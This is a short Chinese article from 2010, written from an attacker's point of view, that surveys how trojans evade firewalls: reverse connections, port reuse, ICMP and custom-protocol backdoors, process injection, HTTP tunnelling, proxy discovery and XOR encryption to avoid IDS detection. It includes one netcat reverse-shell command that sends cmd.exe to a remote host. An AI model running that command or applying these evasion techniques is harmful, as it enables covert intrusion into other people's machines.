2010-06-21 12:34:30 来源:51CTO
网络不太平,谁上网都会架起个firewall来防护网络攻击,这岂不是给我们木马的生存带来了巨大挑战?
物竞天择,适者生存,嗯...要想生存下去就要穿墙! Bypass Firewall:
1. 首先就是No Firewall(允许本地对外监听基本上任何端口),没有防火墙?(这不是废话?)
对付这种机器好办,随便哪个马一般都行典型代表 Radmin(其实它不是马,用的人多了,也就变成了马,无辜)
rdp 3389/tcp (远程桌面,它也不是马,不过你不用,还有谁用呢?)
2. 端口筛选(只允许外部连接特定端口,也就是外部对特定端口发起syn连接请求才被接受,从而完成三次握手,建立连接,否则防火墙丢弃数据包,无法完成握手,无法建立连接,也就是木马不能随意开个端口就监听了)
道高一尺,魔高一丈.:
你不让我连你,我就让你连我呗, 反弹端口技术诞生了(一般防火墙对本地发起的syn连接请求不会拦截)
使用工具netcat就可以穿刺这种防火墙 :
nc -e cmd.exe 远程ip 远程监听port
随后,端口复用技术也出现了,复用防火墙开放的端口:如80,21,445等
典型的后门如hkdoor,ntrookit(作者都是国人yyt_hac )
还有利用无端口协议来通信,如利用icmp报文,(Ping就是利用的ICMP协议的 Echo Request和Echo Reply探测主机存活)
典型的如pingdoor (Ping由于使用icmp报文,根本不开放端口,端口筛选也就无可奈何了,但是icmp并无差错控制,所以这种后门的传输特性也并不理想,除非自己加上差错控制)
更牛的,就是干脆抛开TCP/IP协议,木马自定义协议进行通信,你防火墙能把我怎么样?哈哈
典型的如ntrootkit采用了自定义协议技术.
3.应用程序筛选.(只允许特定程序访问网络)
木马也不甘落后,自己不能访问网络,只好寄人篱下:
进程插入技术诞生了,通常firewall都要允许iexplore.exe,explore.exe,svchost.exe,services.exe等程序访问网络,于是木马便盯上了这些程序.插入...插入再插入
现在的远程控制一般都是插入进程式,一是隐蔽(没有自己进程),二是穿墙.典型如Bits.dll(替换系统服务BITS,插入svchost.exe中) 和灰鸽子/PcShare(默认插入iexplorer.exe浏览器进程)等.
4.协议筛选.
(例如,只允许80端口通过http协议,这样那些端口复用的后门没有使用http协议,不幸被防火墙拒之门外.:-)
怎么办? 暗渡陈仓, 挖隧道: http-tunnel (http隧道)将木马通信封装成http数据报进行传输.
使用这种技术的有pcshare(使用双向http隧道传输)
5.IP过滤,一般就是化分为本机,局域网,广域网三个层次,不过木马也不是吃素的,有些木马已经开始智能化了:
比如,无法连到黑客主机或者跳板,就搜索本机的代理设置,如IE代理设置,然后代理出去!
可以想象P2P形式的马也将于不久以后成为可能,这样木马和僵尸网络的区别就更小了 呵呵
6. 现在很多防火墙都可以检测传输的敏感信息,如用户口令等,所以抗IDS,抗自动分析,这便成了高级木马需要考虑的东西,换句话说保护黑客控制的安全性和隐秘性.典型的解决方法就是采取加密措施,如最简单的对付IDS检测的方法,xor异或加密.
但是现在的防护墙肯定不是以上技术的分离,而是一定有多项技术同时采用.
同时,综合利用以上对抗技术的木马也不鲜见了.
免责声明:本网站(http://www.ciotimes.com/)内容主要来自原创、合作媒体供稿和第三方投稿,凡在本网站出现的信息,均仅供参考。本网站将尽力确保所提供信息的准确性及可靠性,但不保证有关资料的准确性及可靠性,读者在使用前请进一步核实,并对任何自主决定的行为负责。本网站对有关资料所引致的错误、不确或遗漏,概不负任何法律责任。
本网站刊载的所有内容(包括但不仅限文字、图片、LOGO、音频、视频、软件、程序等)版权归原作者所有。任何单位或个人认为本网站中的内容可能涉嫌侵犯其知识产权或存在不实内容时,请及时通知本站,予以删除。